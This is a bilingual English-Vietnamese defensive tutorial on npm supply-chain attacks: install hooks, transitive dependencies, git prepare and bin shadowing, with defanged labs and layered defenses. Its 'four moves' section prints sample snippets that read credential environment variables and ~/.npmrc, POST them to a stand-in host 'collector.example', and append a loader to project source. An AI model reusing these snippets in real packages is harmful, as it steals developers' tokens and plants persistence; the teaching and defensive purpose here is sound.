Web Security for Frontend Devs · Part 17 — Supply-Chain Attacks via npm install
Bonus track: how a single npm install can run attacker code on your machine — lifecycle scripts, transitive deps, git prepare, bin shadowing — the signals to audit, and a full layered defense. With a live install simulator and exercises.
Part 17 — Bonus track (supply chain) in the Web Security for Frontend Devs series {Phần 17 — Nhánh bonus (chuỗi cung ứng) trong series Web Security for Frontend Devs}. Previous {Trước}: Part 16 — Web Cache Deception & Open-Redirect Chaining · Next {Tiếp}: Part 18 — Reverse Tabnabbing & window.opener.
Every part so far attacked the code running in a browser {Mọi phần tới giờ tấn công code chạy trong trình duyệt}. This bonus part moves one step earlier in your day — the moment you type npm install {Phần bonus này lùi về sớm hơn một bước trong ngày của bạn — khoảnh khắc bạn gõ npm install}. The uncomfortable truth: installing a dependency is not “downloading a library”, it is giving the package publisher permission to run code on your machine or your CI {Sự thật khó chịu: cài một dependency không phải “tải thư viện về”, mà là cho người publish quyền chạy code trên máy bạn hoặc CI của bạn}.
This is defensive writing — the mechanisms, the signals to detect them, and the layered fixes {Đây là bài viết phòng thủ — cơ chế, dấu hiệu nhận biết, và cách vá nhiều lớp}. No payloads, no malware recipes {Không payload, không công thức mã độc}.
The one mental model {Mô hình tư duy cốt lõi}
Attacker publishes package A (or hijacks an existing one)
↓
You run npm install A
↓
npm resolves A + its ENTIRE transitive dependency tree
↓
npm may run lifecycle scripts (preinstall / install / postinstall / prepare)
↓
that code executes with YOUR user (or CI) privileges — before you import anything
The danger is the gap between intent and reality: you think “I’m adding a dependency” {Nguy hiểm nằm ở khoảng cách giữa ý định và thực tế: bạn nghĩ “tôi đang thêm dependency”}; what actually happens is “I am executing arbitrary code authored by strangers, plus everyone in their dependency tree” {thực tế là “tôi đang chạy code tùy ý do người lạ viết, cộng tất cả mọi người trong cây phụ thuộc của họ”}.
Rule of thumb {Quy tắc nhanh}:
npm installis code execution, not a download. Treat it with the same care ascurl … | bash{npm installlà thực thi code, không phải tải về. Hãy cẩn trọng nhưcurl … | bash}.
Attack surface 1 — lifecycle scripts {Bề mặt 1 — lifecycle scripts}
The most common path by far {Đường phổ biến nhất}. A package’s package.json can declare scripts that npm runs automatically during install {package.json của một package có thể khai báo script mà npm chạy tự động khi cài}:
{
"scripts": {
"preinstall": "node setup.js",
"install": "node-gyp rebuild",
"postinstall": "node fetch-binary.js",
"prepare": "npm run build"
}
}
These exist for legitimate reasons — compiling a native addon with node-gyp, downloading a platform-specific binary, generating files {Chúng tồn tại vì lý do chính đáng — biên dịch native addon bằng node-gyp, tải binary theo nền tảng, sinh file}. That is exactly why malicious ones blend in: the same hook that fetches a binary can instead read your environment and phone home {Đó chính là lý do mã độc trà trộn: cùng một hook tải binary có thể thay vào đó đọc môi trường và gửi đi}.
What a hostile postinstall would reach for {Một postinstall thù địch sẽ nhắm tới}:
- Environment variables —
NPM_TOKEN,AWS_*,GITHUB_TOKEN, CI secrets {Biến môi trường}. - Files in the repo —
.env,.npmrc, SSH keys,.git/config{File trong repo}. - Outbound network — exfiltrate any of the above {Mạng ra ngoài — tuồn dữ liệu trên}.
- Persistence — drop a startup entry or modify project files {Cố thủ — thêm mục khởi động hoặc sửa file project}.
The user only thinks “install a library”; in reality the package gets to “run code” {User chỉ nghĩ “cài thư viện”; thực tế package được “chạy code”}.
Anatomy of a malicious postinstall — the four moves {Giải phẫu postinstall độc — bốn nước đi}
To recognize a hostile install script you need to know what it looks like {Để nhận ra script install thù địch, bạn cần biết nó trông như thế nào}. The snippets below are defanged and illustrative — they show the shape of each move and, more importantly, the signal that gives it away in review {Các đoạn dưới đã làm cùn và mang tính minh họa — chỉ cho thấy hình dạng mỗi nước đi và, quan trọng hơn, dấu hiệu lộ tẩy khi review}. The live simulator afterwards lets you trigger all four safely and watch what they “capture” {Trình mô phỏng phía sau cho bạn kích hoạt cả bốn một cách an toàn và xem chúng “thu” được gì}.
Move 1 — read environment variables {Nước 1 — đọc biến môi trường}
// postinstall.js — runs automatically; "loot" is whatever your shell/CI exported
const loot = {
npm: process.env.NPM_TOKEN,
aws: process.env.AWS_SECRET_ACCESS_KEY,
gh: process.env.GITHUB_TOKEN,
};
Signal {Dấu hiệu}: an install script reading process.env for credential-looking names has no business doing so during a build {Script install đọc process.env cho các tên giống credential thì không có lý do gì khi build}. Detection: scan the script source; keep secrets out of the install environment so there is nothing to read {Phát hiện: quét mã script; giữ secret ngoài môi trường cài để không có gì đọc được}.
Move 2 — read files in the repo / home {Nước 2 — đọc file trong repo / home}
const fs = require("node:fs");
// reads the developer's auth token and project secrets
const npmrc = fs.readFileSync(`${process.env.HOME}/.npmrc`, "utf8");
const dotenv = fs.readFileSync(".env", "utf8"); // CWD = the project installing it
Signal {Dấu hiệu}: file reads of ~/.npmrc, .env, id_rsa, .git/config from an install hook {Đọc các file ~/.npmrc, .env, id_rsa, .git/config từ hook install}. Detection: run installs in a sandbox where those files are absent; --ignore-scripts stops the hook entirely {Phát hiện: cài trong sandbox không có các file đó; --ignore-scripts chặn hẳn hook}.
Move 3 — make an outbound request (exfiltration) {Nước 3 — gọi request ra ngoài (tuồn dữ liệu)}
// ship the collected loot off-box
fetch("https://collector.example/x", {
method: "POST",
body: JSON.stringify(loot),
});
Signal {Dấu hiệu}: any network call (fetch, https.request, curl, wget) from an install script {Bất kỳ lời gọi mạng nào từ script install}. Detection: block outbound network during install — even if the script runs, exfiltration fails; egress logs also expose it {Phát hiện: chặn mạng ra ngoài khi cài — kể cả script chạy, exfil vẫn thất bại}.
Move 4 — modify files in the project (persistence) {Nước 4 — sửa file trong project (cố thủ)}
const fs = require("node:fs");
// quietly append a loader to a file your app already runs
fs.appendFileSync("src/index.js", '\nrequire("./.cache/loader.js");');
Signal {Dấu hiệu}: an install hook writing to your source tree, not just to node_modules {Hook install ghi vào cây nguồn của bạn, không chỉ node_modules}. Detection: a clean git status/diff after install should show nothing changed in your source; CI should fail if it does {Phát hiện: git status/diff sau cài phải cho thấy nguồn không đổi gì}.
The common thread {Sợi chỉ chung}: a build step compiles or fetches its own artifacts {một bước build biên dịch hoặc tải artifact của chính nó}. Reading your secrets, touching your source, or calling the network are all out of scope for a build — that mismatch is the tell {Đọc secret của bạn, chạm nguồn của bạn, hay gọi mạng đều ngoài phạm vi của một build — sự lệch pha đó chính là điểm lộ}.
Attack surface 2 — transitive dependencies {Bề mặt 2 — dependency gián tiếp}
You audited your direct dependency. Did you audit its dependencies? And theirs? {Bạn đã rà direct dependency. Bạn có rà dependency của nó không? Và của những cái đó?}
my-app
└─ ui-kit ← the one you installed
└─ color-utils
└─ is-even-ish ← hijacked; ships a preinstall you never asked for
You ran npm install ui-kit, but a tiny utility three levels down can carry an install script {Bạn chạy npm install ui-kit, nhưng một util bé xíu ba tầng bên dưới vẫn mang install script}. This is why the dependency tree is the real trust boundary {Đây là lý do cây phụ thuộc mới là biên tin cậy thực sự}: you do not just trust the package you named — you trust everything beneath it, transitively {bạn không chỉ tin package mình gọi tên — bạn tin mọi thứ bên dưới nó, theo cấp}. A typical app has hundreds to thousands of such packages {Một app điển hình có hàng trăm tới hàng nghìn package như vậy}.
This is the class behind real incidents like event-stream (2018), where a popular package’s new maintainer added a malicious transitive dep, and ua-parser-js (2021), where a hijacked maintainer account pushed versions with an install-time payload. (See sources below.) {Đây là lớp đứng sau các sự cố thật như event-stream (2018) và ua-parser-js (2021).}
Attack surface 3 — prepare on git dependencies {Bề mặt 3 — prepare với git dependency}
If a dependency points at a Git URL instead of the registry, npm runs prepare to build it from source on install {Nếu dependency trỏ tới Git URL thay vì registry, npm chạy prepare để build từ nguồn khi cài}:
{
"dependencies": {
"internal-sdk": "github:acme/internal-sdk#main"
}
}
prepare is legitimate for TypeScript/build steps {prepare hợp pháp cho bước TypeScript/build}. But a git dependency skips registry-side controls (provenance, version immutability) and follows a moving ref like #main {Nhưng git dependency bỏ qua kiểm soát phía registry và bám một ref di động như #main}. If that repo is taken over — or the branch is force-pushed — prepare runs attacker code the next time anyone installs {Nếu repo bị chiếm — hoặc nhánh bị force-push — prepare chạy code kẻ tấn công ở lần cài kế tiếp}. Pin a commit SHA, not a branch, and prefer the registry {Hãy ghim commit SHA, không phải nhánh, và ưu tiên registry}.
Attack surface 4 — bin shadowing & typosquats {Bề mặt 4 — bin shadowing & typosquat}
A package can expose a command-line binary {Một package có thể expose binary dòng lệnh}:
{
"bin": { "cross-env": "./cli.js" }
}
On install, npm links this into node_modules/.bin {Khi cài, npm link nó vào node_modules/.bin}. This does not necessarily run at install time — it runs later, when a script invokes the command {Việc này không nhất thiết chạy lúc cài — nó chạy về sau, khi một script gọi command đó}:
npm run build # → calls "cross-env" from node_modules/.bin
npm test
npx some-tool
Two traps {Hai cái bẫy}: an attacker typosquats a familiar name (cross-env-shell vs cross-env) hoping you fat-finger it, or ships a bin whose name shadows a tool your scripts already call {Kẻ tấn công typosquat tên quen, hoặc ship bin có tên shadow tool mà script bạn đã gọi}. Crucially, --ignore-scripts does not help here — there is no install script; the payload waits in the binary {Quan trọng: --ignore-scripts không cứu được ở đây — không có install script; payload chờ trong binary}.
Attack surface 5 — the runtime entrypoint {Bề mặt 5 — entrypoint lúc chạy}
Even with every install script blocked, a package still runs its code when you actually use it {Kể cả chặn mọi install script, package vẫn chạy code khi bạn thật sự dùng nó}:
{ "main": "index.js", "exports": { ".": "./dist/index.js" } }
require("package-a"); // runs package-a's top-level code now
This is runtime risk, not install-time risk — --ignore-scripts is irrelevant {Đây là rủi ro lúc chạy, không phải lúc cài — --ignore-scripts vô can}. The defense shifts to trust, review, and least privilege at runtime (and everything from the earlier parts once that code touches the browser) {Phòng thủ chuyển sang tin cậy, review, và least privilege lúc chạy}.
Try it — live npm install simulator {Thử ngay — trình mô phỏng npm install}
The simulator below lets you pick a scenario (benign native build, direct postinstall exfil, deep transitive malware, git prepare, typosquat bin shadow), read the manifest and resolved tree, then run a simulated install and watch which lifecycle scripts fire {Trình mô phỏng dưới cho bạn chọn kịch bản, đọc manifest và cây đã resolve, rồi chạy install mô phỏng và xem lifecycle script nào kích hoạt}. The “What the script touched” panel surfaces all four moves from above — the (fake) env vars, file reads, outbound request, and source modification a malicious hook would perform {Panel “What the script touched” hiện cả bốn nước đi ở trên — biến môi trường (giả), file đọc, request ra ngoài, và sửa nguồn mà hook độc sẽ làm}. Toggle --ignore-scripts to neutralize the common path and watch the capture go quiet, read the static-audit findings, and use the mitigation scorecard to watch residual risk drop {Bật --ignore-scripts để vô hiệu đường phổ biến và thấy panel im lặng, đọc audit tĩnh, và dùng scorecard}. Nothing executes — it is a teaching model {Không có gì thực thi — đây là mô hình dạy học}.
Open the full demo {Mở demo đầy đủ}: /tools/npm-install-attack-demo/.
Hands-on labs — reproduce each surface safely {Lab thực hành — tái hiện từng bề mặt an toàn}
The simulator is a model; now prove the mechanism on your own machine {Simulator là mô hình; giờ chứng minh cơ chế trên máy của chính bạn}. Each lab is real npm — but the “malicious” action is replaced by a harmless observable: appending a line to a local log {Mỗi lab là npm thật — nhưng hành động “độc” được thay bằng một quan sát vô hại: ghi thêm một dòng vào log cục bộ}. You see the code run, then verify the mitigation actually stops it {Bạn thấy code chạy, rồi xác nhận biện pháp giảm rủi ro thực sự chặn được}.
Safety {An toàn}: run these in a throwaway directory (ideally a container/VM). Nothing here reads secrets or hits the network — but treat install labs as untrusted by habit {Chạy trong thư mục dùng-rồi-bỏ (lý tưởng là container/VM). Không gì ở đây đọc secret hay gọi mạng — nhưng hãy quen coi lab install là không tin cậy}. Paths use macOS/Linux
/tmp; Windows users swap in a temp folder {Đường dẫn dùng/tmpcủa macOS/Linux; Windows thay bằng thư mục tạm}.
Shared setup {Chuẩn bị chung}
# a clean sandbox + a consumer app that will install our local packages
mkdir -p /tmp/npm-lab && cd /tmp/npm-lab
mkdir -p app && (cd app && npm init -y >/dev/null)
Lab 1 — lifecycle scripts run on install {Lab 1 — lifecycle script chạy khi cài}
Build a package whose postinstall reads an env var and writes proof — exactly Moves 1 & 4, defanged {Tạo package có postinstall đọc env và ghi proof — chính Nước 1 & 4, đã làm cùn}:
mkdir -p /tmp/npm-lab/demo-pkg && cd /tmp/npm-lab/demo-pkg
cat > postinstall.js <<'EOF'
const fs = require("node:fs");
// harmless stand-in for exfiltration: just record what the script CAN reach
fs.appendFileSync("/tmp/npm-lab/proof.log",
`postinstall ran — could read HOME=${process.env.HOME}\n`);
EOF
cat > package.json <<'EOF'
{ "name": "demo-pkg", "version": "1.0.0",
"scripts": { "postinstall": "node postinstall.js" } }
EOF
Run it and observe {Chạy và quan sát}:
cd /tmp/npm-lab/app
rm -f /tmp/npm-lab/proof.log
npm install ../demo-pkg
cat /tmp/npm-lab/proof.log # → "postinstall ran — could read HOME=/Users/you"
Now verify the mitigation {Giờ kiểm chứng biện pháp}:
rm -f /tmp/npm-lab/proof.log
npm install ../demo-pkg --ignore-scripts
cat /tmp/npm-lab/proof.log 2>/dev/null || echo "no proof.log — the script was skipped ✅"
Proved {Đã chứng minh}: an install hook runs automatically and can read your environment; --ignore-scripts stops it {Hook install chạy tự động và đọc được môi trường; --ignore-scripts chặn nó}.
Lab 2 — a transitive dep runs too {Lab 2 — dependency gián tiếp cũng chạy}
Wrap demo-pkg so you install only the wrapper — yet the leaf’s script still fires {Bọc demo-pkg để bạn chỉ cài wrapper — nhưng script của lá vẫn nổ}:
mkdir -p /tmp/npm-lab/wrapper-pkg && cd /tmp/npm-lab/wrapper-pkg
cat > package.json <<'EOF'
{ "name": "wrapper-pkg", "version": "1.0.0",
"dependencies": { "demo-pkg": "file:../demo-pkg" } }
EOF
cd /tmp/npm-lab/app
rm -f /tmp/npm-lab/proof.log
npm install ../wrapper-pkg
cat /tmp/npm-lab/proof.log # demo-pkg's postinstall ran — you never named it
Proved {Đã chứng minh}: you trust the whole tree, not just your direct dependency {Bạn tin cả cây, không chỉ direct dependency}. Audit the lockfile, where the leaf appears {Hãy audit lockfile, nơi lá xuất hiện}.
Lab 3 — a git dependency’s prepare {Lab 3 — prepare của git dependency}
A dep resolved from Git builds from source via prepare {Dep lấy từ Git build từ nguồn qua prepare}:
mkdir -p /tmp/npm-lab/git-dep && cd /tmp/npm-lab/git-dep
git init -q
cat > package.json <<'EOF'
{ "name": "git-dep", "version": "1.0.0",
"scripts": { "prepare": "node -e \"require('fs').appendFileSync('/tmp/npm-lab/proof.log','prepare ran building git dep\\n')\"" } }
EOF
git add -A && git commit -qm init
cd /tmp/npm-lab/app
rm -f /tmp/npm-lab/proof.log
npm install "git+file:///tmp/npm-lab/git-dep"
cat /tmp/npm-lab/proof.log # prepare ran — the build-from-source path
Proved {Đã chứng minh}: git deps run prepare and skip registry-side checks {git dep chạy prepare và bỏ qua kiểm tra phía registry}. Prefer the registry; pin a commit SHA, not a branch {Ưu tiên registry; ghim commit SHA, không phải nhánh}.
Lab 4 — bin shadowing survives --ignore-scripts {Lab 4 — bin shadowing sống sót --ignore-scripts}
The payload here is in the binary, not an install hook {Payload ở đây nằm trong binary, không phải hook install}:
mkdir -p /tmp/npm-lab/bin-pkg && cd /tmp/npm-lab/bin-pkg
cat > cli.js <<'EOF'
#!/usr/bin/env node
console.log("bin ran — this is where a shadowed command executes");
EOF
cat > package.json <<'EOF'
{ "name": "bin-pkg", "version": "1.0.0", "bin": { "mytool": "cli.js" } }
EOF
cd /tmp/npm-lab/app
npm install ../bin-pkg --ignore-scripts # note: scripts OFF
npx mytool # …yet the bin still runs
Proved {Đã chứng minh}: --ignore-scripts does not cover bin — it fires when a build/test/npx command calls the name {--ignore-scripts không bao phủ bin — nó nổ khi một lệnh build/test/npx gọi tên}. Verify exact package names (typosquats) and audit bin entries {Xác minh đúng tên package; audit mục bin}.
Lab 5 — the runtime entrypoint runs on require {Lab 5 — entrypoint runtime chạy khi require}
mkdir -p /tmp/npm-lab/runtime-pkg && cd /tmp/npm-lab/runtime-pkg
cat > index.js <<'EOF'
console.log("runtime entrypoint ran on require()");
module.exports = {};
EOF
cat > package.json <<'EOF'
{ "name": "runtime-pkg", "version": "1.0.0", "main": "index.js" }
EOF
cd /tmp/npm-lab/app
npm install ../runtime-pkg --ignore-scripts
node -e "require('runtime-pkg')" # top-level code runs — install flags are irrelevant
Proved {Đã chứng minh}: once you use a package, its code runs regardless of install flags {Khi bạn dùng package, code của nó chạy bất kể cờ install}. Defense moves to dependency minimization, review, and runtime least privilege {Phòng thủ chuyển sang tối giản dependency, review, least privilege lúc chạy}.
Clean up {Dọn dẹp}
rm -rf /tmp/npm-lab
Tip {Mẹo}: re-run Labs 1–3 with a committed
.npmrccontainingignore-scripts=trueto feel the project-wide default, and add--foreground-scriptsto see script output that npm normally hides {Chạy lại Lab 1–3 với.npmrcchứaignore-scripts=trueđể cảm nhận mặc định toàn project, và thêm--foreground-scriptsđể thấy output script npm thường ẩn}.
What to audit before you install {Cần audit gì trước khi cài}
Read the manifest and lockfile, not just the README {Đọc manifest và lockfile, không chỉ README}:
package.json
├─ scripts: preinstall / install / postinstall / prepare ← runs on install
├─ bin ← linked command names
├─ main / exports ← runs on import
├─ dependencies pointing at git/http URLs ← prepare + no registry checks
└─ floating ranges (^, ~, *, latest) ← silent version drift
Beyond the manifest, weigh the package signals {Ngoài manifest, cân nhắc tín hiệu của package}:
- An install script that calls a shell,
curl/wget, or runs an unfamiliar file {Script install gọi shell,curl/wget, hoặc chạy file lạ}. - A sudden new version, especially a major bump right after a maintainer change {Phiên bản mới đột ngột, nhất là major bump ngay sau khi đổi maintainer}.
- Mismatched or missing
repository, low/anomalous download trend, brand-new account {repositorylệch/thiếu, lượt tải bất thường, account mới tinh}. - A name one keystroke away from a popular package (typosquat) {Tên lệch một phím so với package nổi tiếng (typosquat)}.
Tools that automate this: npm audit (known CVEs), npm audit signatures (registry signatures), provenance attestations, and third-party scanners like Socket that score install scripts and behavior {Công cụ tự động hóa: npm audit, npm audit signatures, provenance, và scanner bên thứ ba như Socket}.
Defenses — a layered playbook {Phòng thủ — playbook nhiều lớp}
No single switch is enough; combine them {Không công tắc nào đủ một mình; hãy kết hợp}.
Defense 1 — disable install scripts by default {Phòng thủ 1 — tắt install script mặc định}
The single highest-leverage control {Control đòn bẩy cao nhất}:
# one-off
npm install --ignore-scripts
# project / CI default — commit this .npmrc
echo "ignore-scripts=true" >> .npmrc
This blocks preinstall/install/postinstall/prepare {Chặn preinstall/install/postinstall/prepare}. Trade-off: packages that legitimately need a build step (native addons) won’t build {Đánh đổi: package thật sự cần build (native addon) sẽ không build}. Workaround: keep scripts off globally, then allow-list the few packages that need them and run their build explicitly, or use a tool that gates scripts per-package {Cách xử lý: tắt toàn cục, rồi allow-list vài package cần và build tường minh}.
Defense 2 — lockfile + npm ci, with pinned versions {Phòng thủ 2 — lockfile + npm ci, ghim version}
npm ci # installs EXACTLY the lockfile, no re-resolution
npm ci refuses to drift from package-lock.json, so a freshly-published malicious version can’t slip in until you deliberately update {npm ci không trôi khỏi package-lock.json, nên version độc mới publish không lọt vào cho tới khi bạn cố ý cập nhật}. Pin exact versions, commit the lockfile, and review the lockfile diff in every PR — that diff is where a transitive change shows up {Ghim version chính xác, commit lockfile, và review diff lockfile mỗi PR}.
Defense 3 — install in a low-privilege sandbox {Phòng thủ 3 — cài trong sandbox quyền thấp}
Run installs where there is nothing worth stealing and nowhere to phone home {Chạy install ở nơi không có gì đáng trộm và không gọi ra ngoài được}:
- A container/VM with no production secrets mounted {Container/VM không mount secret production}.
- A dedicated CI step that installs before secrets are injected {Bước CI cài trước khi inject secret}.
- Block outbound network during install so exfiltration fails even if a script runs {Chặn mạng ra ngoài khi cài để exfil thất bại kể cả khi script chạy}.
Defense 4 — keep secrets out of the install environment {Phòng thủ 4 — không để secret trong môi trường cài}
The most valuable loot is NPM_TOKEN, cloud keys, and CI tokens sitting in env vars {Chiến lợi phẩm giá trị nhất là NPM_TOKEN, key cloud, CI token nằm trong env}. Scope tokens narrowly, don’t export them during npm ci, and prefer short-lived OIDC credentials over long-lived secrets {Thu hẹp phạm vi token, đừng export khi npm ci, ưu tiên credential OIDC ngắn hạn}.
Defense 5 — verify integrity & provenance {Phòng thủ 5 — xác minh integrity & provenance}
npm audit signatures # verify registry signatures on installed packages
npm audit # known-vulnerability check
Prefer packages published with provenance (a verifiable link back to the source repo and CI build) {Ưu tiên package publish kèm provenance}. Add a scanner (Socket, Snyk) in CI to flag risky install scripts and behavior changes between versions {Thêm scanner trong CI để cờ install script rủi ro và thay đổi hành vi}.
Defense 6 — runtime least privilege {Phòng thủ 6 — least privilege lúc chạy}
--ignore-scripts does nothing for the runtime and bin surfaces {--ignore-scripts không giúp gì cho bề mặt runtime và bin}. Reduce that blast radius: minimize dependencies, review what you import, run services with least privilege, and verify the exact package name before adding it (typosquats) {Giảm thiệt hại: tối giản dependency, review thứ bạn import, chạy service least privilege, và xác minh đúng tên package}.
npm vs pnpm vs Yarn — who runs install scripts by default {npm vs pnpm vs Yarn — ai chạy install script mặc định}
Your package manager choice now changes the default blast radius {Lựa chọn package manager giờ thay đổi mặc định mức độ thiệt hại}. The ecosystem shifted hard toward “scripts off by default” after the 2025 worm wave {Hệ sinh thái dịch mạnh sang “tắt script mặc định” sau làn sóng worm 2025}:
- npm — runs lifecycle scripts of dependencies by default {chạy lifecycle script của dependency mặc định}. Turn it off with
ignore-scripts=true(global, no native per-package allow-list — use a tool like@lavamoat/allow-scripts, ornpm rebuild <pkg>for the few you trust) {Tắt bằngignore-scripts=true}. - pnpm (v10+) — does not run dependency scripts by default {không chạy script dependency mặc định}. Allow-list the few that need it in
pnpm.onlyBuiltDependencies(package.json) or via the interactivepnpm approve-builds{Allow-list cái cần trongpnpm.onlyBuiltDependencieshoặcpnpm approve-builds}:
{ "pnpm": { "onlyBuiltDependencies": ["better-sqlite3", "esbuild"] } }
- Yarn Berry (v2+) — declarative, and recent versions default
enableScripts: false{khai báo, bản gần đây mặc địnhenableScripts: false}. Set it explicitly in.yarnrc.yml, then opt specific packages back in {Đặt rõ trong.yarnrc.yml, rồi bật lại từng package}:
# .yarnrc.yml
enableScripts: false
enableImmutableInstalls: true # don't let install mutate the lockfile
{ "dependenciesMeta": { "esbuild": { "built": true } } }
- Yarn Classic (v1) — runs scripts by default; only the global
--ignore-scripts, no native per-package mechanism {chạy script mặc định; chỉ có--ignore-scriptstoàn cục}.
Note {Lưu ý}: an “off by default” manager only protects the install hook surface.
binshadowing and runtime code still apply everywhere — and git deps may still run aprepare/packstep (Yarn addsapprovedGitRepositoriesto gate this) {Manager “tắt mặc định” chỉ bảo vệ bề mặt hook install.binshadow và code runtime vẫn áp dụng — git dep vẫn có thể chạyprepare/pack}.
A hardened setup you can copy {Một cấu hình cứng hóa bạn copy được}
A pragmatic baseline for an npm project {Nền tảng thực dụng cho project npm}. Commit this .npmrc at the repo root {Commit .npmrc này ở gốc repo}:
# .npmrc — committed, applies to everyone and CI
ignore-scripts=true # no dependency lifecycle scripts on install
save-exact=true # added deps are pinned, not ^ranged
fund=false
audit=true
With scripts globally off, build the few trusted native deps explicitly instead of letting every package run code {Với script tắt toàn cục, build vài native dep tin cậy tường minh}:
npm ci # exact lockfile install, scripts already off via .npmrc
npm rebuild better-sqlite3 # allow-list: build only what you trust
npm run build
A minimal hardened GitHub Actions job {Job GitHub Actions cứng hóa tối thiểu}:
name: ci
on: [push, pull_request]
jobs:
build:
runs-on: ubuntu-latest
# NOTE: no secrets exposed in this job — install runs with nothing to steal
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: 20
cache: npm
- run: npm ci --ignore-scripts # locked + scripts off (belt and suspenders)
- run: npm rebuild better-sqlite3 # explicit allow-list for native builds
- run: npm audit signatures # verify registry signatures / provenance
- run: npm run build
- run: npm test
Keep deploy credentials in a separate job/environment that runs after install and tests, so a hostile install never shares a process with your secrets {Giữ credential deploy ở job/environment riêng, chạy sau install và test}.
Real incidents — and the signal that would’ve caught each {Sự cố thật — và dấu hiệu lẽ ra bắt được}
These are the textbook cases behind the surfaces above {Đây là các ca kinh điển đứng sau các bề mặt trên}:
event-stream(2018) — a popular package was handed to a new maintainer who added a malicious transitive dependency (flatmap-stream) that targeted a specific bitcoin-wallet build {một package nổi tiếng được giao cho maintainer mới, người này thêm một transitive dependency độc nhắm vào một build ví bitcoin}. Signal: a new, unexplained dependency from a new maintainer — visible in the lockfile diff, notpackage.json{Dấu hiệu: dependency mới lạ từ maintainer mới — thấy trong diff lockfile}.ua-parser-js(2021) — the maintainer’s npm account was hijacked and three versions shipped with install scripts running a miner and a password stealer {tài khoản npm của maintainer bị chiếm, ba phiên bản kèm install script chạy miner và trộm mật khẩu}. Signal: sudden out-of-band version bumps + install scripts touching binaries/network —ignore-scriptsalone would have blocked the payload {Dấu hiệu: bump version bất thường + install script chạm binary/mạng — chỉignore-scriptsđã chặn được payload}.node-ipc(2022) — the maintainer intentionally shipped destructive “protestware” that wiped files based on the user’s geolocation, pulled in transitively by huge projects {maintainer cố tình ship “protestware” phá hoại theo vị trí địa lý, bị kéo vào gián tiếp bởi project lớn}. Signal: a trusted maintainer’s patch doing filesystem writes + floating ranges auto-upgrading — pinning + lockfile review stops the silent pull {Dấu hiệu: bản vá ghi filesystem + range thả nổi tự nâng cấp — ghim + review lockfile chặn}.- “Shai-Hulud” worm (2025) — a self-replicating campaign across hundreds of npm packages: a
postinstallstole npm/GitHub/cloud tokens and used them to publish trojanized versions of the victim’s own packages, propagating automatically {chiến dịch tự nhân bản trên hàng trăm package npm:postinstalltrộm token rồi publish phiên bản nhiễm của chính package nạn nhân}. This is why pnpm and Yarn moved to scripts-off defaults {Đây là lý do pnpm và Yarn chuyển sang mặc định tắt script}. Signal: apostinstallreading tokens + calling the network — broken by no secrets in the install env +ignore-scripts+ scoped/short-lived tokens {Dấu hiệu:postinstallđọc token + gọi mạng — phá bởi không secret khi cài +ignore-scripts+ token thu hẹp/ngắn hạn}.
The pattern across all four {Mẫu chung cả bốn}: the compromise rode in through a maintainer/account change or a transitive dep, executed via an install script, and was made worse by floating versions {xâm nhập qua đổi maintainer/account hoặc transitive dep, thực thi qua install script, tệ hơn vì version thả nổi}. Every defense in this article targets one of those links {Mọi phòng thủ trong bài nhắm vào một mắt xích đó}.
Prevention checklist {Checklist phòng tránh}
- Default
ignore-scripts=truein a committed.npmrc; allow-list only the packages that truly need a build {Mặc địnhignore-scripts=truetrong.npmrcđã commit}. - Use
npm ciwith a committed lockfile and pinned versions; review the lockfile diff every PR {Dùngnpm ci+ lockfile commit + version ghim; review diff mỗi PR}. - Install in a sandbox/container with no secrets and blocked egress {Cài trong sandbox không secret, chặn egress}.
- Prefer the registry over git deps; if you must use git, pin a commit SHA, not a branch {Ưu tiên registry; nếu dùng git, ghim commit SHA}.
- Run
npm auditandnpm audit signatures; prefer packages with provenance; add a supply-chain scanner {Chạynpm audit+ signatures; ưu tiên provenance; thêm scanner}. - Verify the exact package name (typosquats) and audit
bin,scripts,main/exports, and git URLs before adding a dependency {Xác minh đúng tên; auditbin,scripts, entrypoint, git URL}.
Bài tập / Exercises
1. A teammate says “we set ignore-scripts=true, so we’re safe from malicious packages.” Name two attack surfaces from this article that survive that setting, and why {Đồng đội nói “đã bật ignore-scripts=true nên an toàn”. Nêu hai bề mặt vẫn sống sót và vì sao}.
Solution {Lời giải}
(1) bin shadowing / typosquat — there is no install script; the payload sits in a linked binary that fires when a build/test/npx command later calls that name {bin shadowing / typosquat — không có install script; payload ở binary chạy khi command sau gọi tên đó}. (2) Runtime entrypoint — main/exports code runs when you import/require the package, regardless of install scripts {Entrypoint runtime — code chạy khi import/require, bất kể install script}. --ignore-scripts only blocks lifecycle hooks, so you still need pinned versions, name verification, runtime least privilege, and review {--ignore-scripts chỉ chặn lifecycle hook}.
2. In the simulator, run the “Transitive malware (deep)” scenario with scripts enabled, then with --ignore-scripts. Explain why auditing only your direct dependencies would have missed this, and what artifact you should review instead {Trong simulator, chạy kịch bản transitive có và không có --ignore-scripts. Giải thích vì sao chỉ rà direct dependencies sẽ bỏ sót, và nên review artifact nào thay thế}.
Solution {Lời giải}
The malicious package is three levels deep — it never appears in your package.json, only in the resolved tree {Package độc nằm ba tầng sâu — không hề xuất hiện trong package.json, chỉ trong cây đã resolve}. You’d miss it by reading dependencies alone; review the package-lock.json diff, which records the full transitive tree and exact versions, and run a scanner that inspects install scripts across the whole tree {Hãy review diff package-lock.json và chạy scanner soi cả cây}. With --ignore-scripts, its preinstall is skipped — but you still ship its runtime code if you use the parent package {Với --ignore-scripts, preinstall bị bỏ qua — nhưng vẫn ship code runtime của nó nếu dùng package cha}.
3. Your CI runs npm install in the same job that holds the deploy token (AWS_*, NPM_TOKEN). Describe the exfiltration path a single postinstall enables, and two independent changes that each shrink the blast radius {CI chạy npm install cùng job giữ deploy token. Mô tả đường exfil một postinstall cho phép, và hai thay đổi độc lập giảm thiệt hại}.
Solution {Lời giải}
A postinstall reads process.env (the deploy token) and sends it to an attacker host — full compromise of the cloud account, with no code review triggered {postinstall đọc process.env rồi gửi token đi — chiếm trọn account cloud, không kích hoạt review nào}. Independent shrinks: (a) ignore-scripts=true so the hook never runs; (b) install before secrets are injected / use a separate low-priv install step so the token isn’t in the env during install; (c) block outbound network during install so exfil fails; (d) short-lived OIDC instead of a long-lived token {Giảm độc lập: (a) tắt script; (b) cài trước khi inject secret; (c) chặn egress; (d) OIDC ngắn hạn}. Any two are valid {Chọn hai bất kỳ là đúng}.
Stretch {Nâng cao}: In the mitigation scorecard, find the smallest set of controls that drives residual risk to LOW, then argue which single control you’d add first to a legacy project that currently builds native modules and can’t simply set ignore-scripts=true {Trong scorecard, tìm tập control nhỏ nhất đưa rủi ro về LOW, rồi lập luận control nào bạn thêm đầu tiên cho project legacy đang build native module}.
